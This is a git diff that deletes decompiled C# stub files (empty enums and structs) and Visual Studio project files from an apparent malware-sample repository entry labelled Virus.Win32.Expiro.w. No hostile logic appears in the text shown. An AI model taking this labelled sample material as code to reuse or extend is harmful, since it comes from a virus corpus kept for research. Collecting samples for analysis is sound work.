a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ShellSpecialFolderConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ShellSpecialFolderConstants.cs deleted file mode 100644 index 9c382c56..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ShellSpecialFolderConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ShellSpecialFolderConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum ShellSpecialFolderConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ShellWindowFindWindowOptions.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ShellWindowFindWindowOptions.cs deleted file mode 100644 index 64af71c5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ShellWindowFindWindowOptions.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ShellWindowFindWindowOptions -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum ShellWindowFindWindowOptions -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ShellWindowTypeConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ShellWindowTypeConstants.cs deleted file mode 100644 index 2603c003..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ShellWindowTypeConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ShellWindowTypeConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum ShellWindowTypeConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/TrustDecision.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/TrustDecision.cs deleted file mode 100644 index fa86a133..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/TrustDecision.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: TrustDecision -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum TrustDecision -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/VARENUM.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/VARENUM.cs deleted file mode 100644 index af39bffa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/VARENUM.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: VARENUM -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum VARENUM -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Virus.Win32.Expiro.w.csproj b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Virus.Win32.Expiro.w.csproj deleted file mode 100644 index 6bf91fb4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Virus.Win32.Expiro.w.csproj +++ /dev/null @@ -1,666 +0,0 @@ - - - - - Debug - AnyCPU - {B5AB99B8-D0CC-44E3-8EDD-2C9AA151ED3C} - Exe - infocard - 3.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - true - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Virus.Win32.Expiro.w.sln b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Virus.Win32.Expiro.w.sln deleted file mode 100644 index 30523bc9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Virus.Win32.Expiro.w.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "infocard", "Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.csproj", "{B5AB99B8-D0CC-44E3-8EDD-2C9AA151ED3C}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {B5AB99B8-D0CC-44E3-8EDD-2C9AA151ED3C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {B5AB99B8-D0CC-44E3-8EDD-2C9AA151ED3C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {B5AB99B8-D0CC-44E3-8EDD-2C9AA151ED3C}.Release|Any CPU.ActiveCfg = Release|Any CPU - {B5AB99B8-D0CC-44E3-8EDD-2C9AA151ED3C}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/WELL_KNOWN_SID_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/WELL_KNOWN_SID_TYPE.cs deleted file mode 100644 index 996b5e47..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/WELL_KNOWN_SID_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WELL_KNOWN_SID_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum WELL_KNOWN_SID_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/X931_restart_t.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/X931_restart_t.cs deleted file mode 100644 index ef799664..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/X931_restart_t.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: X931_restart_t -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum X931_restart_t -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBD.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBD.cs deleted file mode 100644 index ce1288ec..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBD.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY00$$CBD -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [UnsafeValueType] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY00\u0024\u0024CBD - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBG.cs deleted file mode 100644 index c94efe4d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY00$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 2)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY00\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY00Q6MPBXXZ.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY00Q6MPBXXZ.cs deleted file mode 100644 index 67f5c2c1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY00Q6MPBXXZ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY00Q6MPBXXZ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY01Q6AXXZ.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY01Q6AXXZ.cs deleted file mode 100644 index fe6f1f89..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY01Q6AXXZ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY01Q6AXXZ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY01Q6AXXZ - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY07$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY07$$CBG.cs deleted file mode 100644 index ba8dc013..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY07$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY07$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [UnsafeValueType] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY07\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY08$$CB_W.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY08$$CB_W.cs deleted file mode 100644 index dcbae59b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY08$$CB_W.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY08$$CB_W -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [UnsafeValueType] - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 18)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY08\u0024\u0024CB_W - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AHXZ.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AHXZ.cs deleted file mode 100644 index 9910ce90..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AHXZ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0A@P6AHXZ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AHXZ - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AXXZ.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AXXZ.cs deleted file mode 100644 index 5c19f0f8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AXXZ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0A@P6AXXZ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AXXZ - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAE@G.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAE@G.cs deleted file mode 100644 index 4583f9be..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAE@G.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0BAE@G -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [UnsafeValueType] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 520)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0BAE\u0040G - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAF@G.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAF@G.cs deleted file mode 100644 index fcc004cf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAF@G.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0BAF@G -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [UnsafeValueType] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 522)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0BAF\u0040G - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BB@K.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BB@K.cs deleted file mode 100644 index b27acf09..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BB@K.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0BB@K -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: 